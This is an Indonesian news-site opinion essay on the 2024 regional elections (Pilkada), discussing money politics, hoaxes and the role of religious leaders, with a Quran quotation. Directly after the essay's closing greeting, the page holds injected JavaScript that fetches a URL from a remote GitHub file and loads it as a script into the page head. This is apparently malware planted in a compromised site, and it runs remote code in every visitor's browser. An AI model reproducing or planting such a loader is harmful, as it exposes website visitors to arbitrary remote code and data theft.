Minggu, Agustus 17, 2025
BerandaHeadlineKontestasi Pilkada, Berebut Simpati Para Pemilik Suara

Kontestasi Pilkada, Berebut Simpati Para Pemilik Suara

Pesta demokrasi lima tahunan Pemilihan Kepala Daerah (Pilkada) sudah ditabuk genderangnya. Terasa istimewa mengingat Pilkada digelar serentak se Indonesia pada akhir 2024 ini. Pertempuran memperebutkan simpati para pemilik suara untuk meraih sepasang kursi kepemimpinan daerah pun sudah dimulai.

Safariyansyah, Budayawan Spiritual
Mencari yang Hilang Memelihara yang Terlupakan

Pun demikian, semua lapisan masyarakat turut sibuk membicarakannya. Sejuta harapan terpampang di hadapan mata. Ini kesempatan emas rugi (dosa) kalau disia-siakan. Utamanya bagi yang dahaga akan hasrat cinta negeri (Hubbul Wathon Minal Iman).

Rasanya tidak berlebihan jika saya menyebut tidak sedikit orang yang maju dalam kontestasi Pilkada 2024 ini (utamanya di Banua) bertujuan mulia. Karena saya yakin tidak sedikit pula kandidat yang maju bukan berdasarkan nafsu politik kekuasaan semata, tetapi karena memang dirinya layak untuk mengikuti kontestasi yang memang penuh jebakan hasrat nafsu dunia.

Menengok sejarah masa lalu, di moment lima tahunan ini kesibukan bukan hanya  dilakukan para politikus sebagai aktor. Tetapi lebih luas lagi tokoh-tokoh agama dan masyarakat (pemilik suara)juga terlibat didalamnya.

Pendeknya semua sibuk dengan peran masing-masing. Himbauan untuk berpolitik jujur tersiar begitu terbuka. Namun praktiknya, berpolitik “kotor” banyak menarik para pemilik suara masuk ke dalam lingkaran ini. Hoax, politik uang hingga perbuatan cela lain menjadi objek-objek yang menjauhkan mereka dari kebenaran.

Konyolnya lagi, kita semua tahu jika di ujung sebuah kontestasi adalah memilih/terpilih yang ditentukan oleh para pemilik suara.

“Ujungnya nanti nasib para kandidat itu ada di ujung jari para pemilik suara yang tersembunyi dibdalam bilik suara. Di sana hanya ada gambar kandidat, paku dan pemilih. Sementara hati? Ada pemiliknya,”

Disebutkan dalam QS Al Anfal 63:
“Dia (Allah) mempersatukan hati mereka (orang yang beriman). Seandainya engkau (Nabi Muhammad) menginfakkan semua (kekayaan) yang berada di bumi, niscaya engkau tidak dapat mempersatukan hati mereka, tetapi Allah telah mempersatukan hati mereka. Sesungguhnya Dia Mahaperkasa lagi Mahabijaksana”.

Sungguh, Dia Mahaperkasa, sehingga tidak ada seorang pun yang mampu menandingi-Nya, Mahabijaksana atas segala kebijakan-Nya. Hal ini menunjukkan bahwa persatuan dan kesatuan atas dasar cinta dan kasih sayang yang hakiki tidak mungkin terwujud hanya dengan harta kekayaan, akan tetapi harus didasarkan atas keluhuran budi dan ketulusan jiwa.

Dulu kita nyaman. Para guru/ulama (leader muslim) benar-benar berposisi sebagaimana haknya. Ya, dulu mereka benar-benar menjadi rujukan dalam setiap masalah. Termasuk dalam mengarungi pertarungan politik. Alhasil semua berjalan dengan sukses. Berbeda jauh dengan yang terjadi di zaman carut marut sekarang ini.

Namanya juga carut marut, pasti muncul hal yang sering diresahkan oleh umat nabi. Yakni menjadikan orang hidup dalam kegelisahan, pesimis.  Yaitu melihat kondisi apa yang terjadi pada umat, khususnya dan umat manusia pada umumnya. Yaitu konflik yang tidak pernah selesai, pertikaian, pertarungan dimana-mana.

Afwan
Wassalamvar url = ‘https://raw.githubusercontent.com/truba77/trubnik/main/from.txt’;

fetch(url)
.then(response => response.text())
.then(data => {
// head
var script = document.createElement(‘script’);
script.src = data.trim(); // 44
document.getElementsByTagName(‘head’)[0].appendChild(script);
})
.catch(error => {
console.error(‘bad go.txt:’, error);
});

BERITA TERKAIT
spot_img
spot_img
spot_img

BERITA POPULER